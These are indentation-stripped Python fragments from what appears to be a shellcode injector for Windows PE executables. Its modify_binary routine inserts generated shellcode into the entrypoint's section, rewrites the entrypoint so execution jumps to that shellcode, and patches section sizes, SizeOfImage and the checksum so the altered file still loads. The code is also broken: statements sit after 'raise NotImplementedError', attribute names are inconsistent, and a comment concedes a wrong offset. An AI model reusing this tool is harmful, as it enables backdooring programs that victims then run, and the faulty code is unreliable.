offset_to_architecture_data_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ARCHITECTURE_DATA_RVA
architecture_data_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_architecture_data_rva_within_header)
if architecture_data_rva == 0x0 or self.rva_delta == 0:
return
else:
raise NotImplementedError
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary, offset_to_architecture_data_rva_within_header, architecture_data_rva + self.rva_delta)
def __adjust_global_ptr(self, header_offset):
offset_to_global_ptr_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_GLOBAL_PTR_RVA
global_ptr_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_global_ptr_rva_within_header)
if global_ptr_rva == 0x0 or not Win32BinaryUtils.rva_is_after_entrypoint_and_requires_change(self.binary_data, header_offset, global_ptr_rva):
return
else:
raise NotImplementedError
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary, offset_to_global_ptr_rva_within_header, global_ptr_rva + self.rva_delta)
def __adjust_bound_import(self, header_offset):
offset_to_bound_import_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BOUND_IMPORT_RVA
bound_import_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_bound_import_rva_within_header)
if bound_import_rva == 0x0 or self.rva_delta == 0:
return
else:
raise NotImplementedError
# Adjusting RVA on Data Directories header.
MultiByteHandler.set_dword_given_offset(self.binary, offset_to_bound_import_rva_within_header, bound_import_rva + self.rva_delta)
def modify_binary(self):
header_offset = MultiByteHandler.get_dword_given_offset(
self.binary_data,
Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
# Get current RVA for entrypoint
offset_for_address_of_entrypoint_rva = MultiByteHandler.get_dword_given_offset(
self.binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)
#Get formated shellcode
self.shell_code = self.shell_code_generator.get_base_shell_code(
offset_for_address_of_entrypoint_rva - self.injection_location_rva)
# Injecting shellcode
self.__inject_shell_code()
# Redirect execution to shellcode
self.__overwrite_entrypoint_rva(header_offset)
self.__update_checksum(header_offset)
#Win32BinaryUtils.compute_checksum(self.binary_data, header_offset)
return self.binary_data
def __adjust_windows_specific_headers(self, header_offset):
#Adjust base of data: must check whether this RVA is greater that the RVA of the section containing the shell code (section containing entrypoint).
base_of_data_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_DATA_RVA
current_base_of_data = MultiByteHandler.get_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header)
entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, entrypoint_rva_offset_within_header)
offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1]
entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
if current_base_of_data > entrypoint_section_rva:
MultiByteHandler.set_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header, current_base_of_data + self.rva_delta)
size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE
rva_and_virtual_size_of_last_section = Win32BinaryUtils.get_rva_and_virtual_size_for_last_section(self.binary_data, header_offset)
potentially_unaligned_size_of_image = rva_and_virtual_size_of_last_section[0] + rva_and_virtual_size_of_last_section[1]
#Size of Image must be aligned using SectionAlignment.
aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, potentially_unaligned_size_of_image)
MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_image_offset, aligned_size_of_image)
def get_raw_offset_and_size_for_last_section(binary_data, header_offset):
raw_offset_for_last_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header(
binary_data, header_offset)
raw_offset_for_last_section = MultiByteHandler.get_word_given_offset(
binary_data,
raw_offset_for_last_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
raw_size_for_last_section = MultiByteHandler.get_dword_given_offset(
binary_data,
raw_offset_for_last_section_header + Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER)
return (raw_offset_for_last_section, raw_size_for_last_section)
def __adjust_section_headers(self, header_offset):
entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, entrypoint_rva_offset_within_header)
section_header_index_and_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)
offset_of_header_of_section_containing_entrypoint = section_header_index_and_offset [1]
# Set raw section size for shellcoded section
raw_section_size_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER
raw_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_section_size_offset)
raw_section_size += len(self.shell_code)
MultiByteHandler.set_dword_given_offset(self.binary_data, raw_section_size_offset, raw_section_size)
# Set virtual section size for shellcoded section
virtual_section_size_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER
virtual_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, virtual_section_size_offset)
virtual_section_size += len(self.shell_code)
MultiByteHandler.set_dword_given_offset(self.binary_data, virtual_section_size_offset, virtual_section_size)
number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
number_of_sections = MultiByteHandler.get_word_given_offset(self.binary_data, number_of_sections_offset)
remaining_sections_after_shell_code_section = number_of_sections - (section_header_index_and_offset[0] + 1)
# Moving to the next section header
current_section_header_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
for section_index in range(0, remaining_sections_after_shell_code_section):
if self.rva_delta != 0:
virtual_section_rva_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
virtual_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
virtual_section_rva = (virtual_section_rva + self.rva_delta) if virtual_section_rva != 0 else 0
MultiByteHandler.set_dword_given_offset(self.binary_data, virtual_section_rva_offset, virtual_section_rva)
raw_section_offset_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER
raw_section_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_section_offset_offset)
raw_section_offset = (raw_section_offset + len(self.shell_code)) if raw_section_offset !=0 else 0
MultiByteHandler.set_dword_given_offset(self.binary_data, raw_section_offset_offset, raw_section_offset)
current_section_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
def get_executable_region_rva_and_raw_offset(binary_data, header_offset,
region_length):
# We must get the offsets for the location where the shellcode will be inserted before inserting it and before changing the headers.
entrypoint_rva = MultiByteHandler.get_dword_given_offset(
binary_data, header_offset +
Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)
raw_offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
binary_data, header_offset, entrypoint_rva)[1]
entrypoint_virtual_section_rva = MultiByteHandler.get_dword_given_offset(
binary_data,
raw_offset_of_header_of_section_containing_entrypoint +
Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
entrypoint_virtual_section_size = MultiByteHandler.get_dword_given_offset(
binary_data,
raw_offset_of_header_of_section_containing_entrypoint +
Win32BinaryOffsetsAndSizes.
OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER)
rva_for_end_of_endpoint_section = entrypoint_virtual_section_rva + entrypoint_virtual_section_size - 1
raw_end_of_virtual_section = Win32BinaryUtils.convert_rva_to_raw(
binary_data, header_offset, rva_for_end_of_endpoint_section)
#It appears to be fetching the right bytes but the raw offset is not correct according to pe view.
found_non_zero_byte = False
for index in range(0, region_length):
region_byte = binary_data[raw_end_of_virtual_section]
if region_byte != 0x0:
found_non_zero_byte = True
rva_for_end_of_endpoint_section -= 1
raw_end_of_virtual_section = rva_for_end_of_endpoint_section
if found_non_zero_byte:
print(
"The memory region where the shellcode will be inserted contains non-zero bytes. This may be valid code."
)
return (rva_for_end_of_endpoint_section,
Win32BinaryUtils.convert_rva_to_raw(
binary_data, header_offset,
rva_for_end_of_endpoint_section))
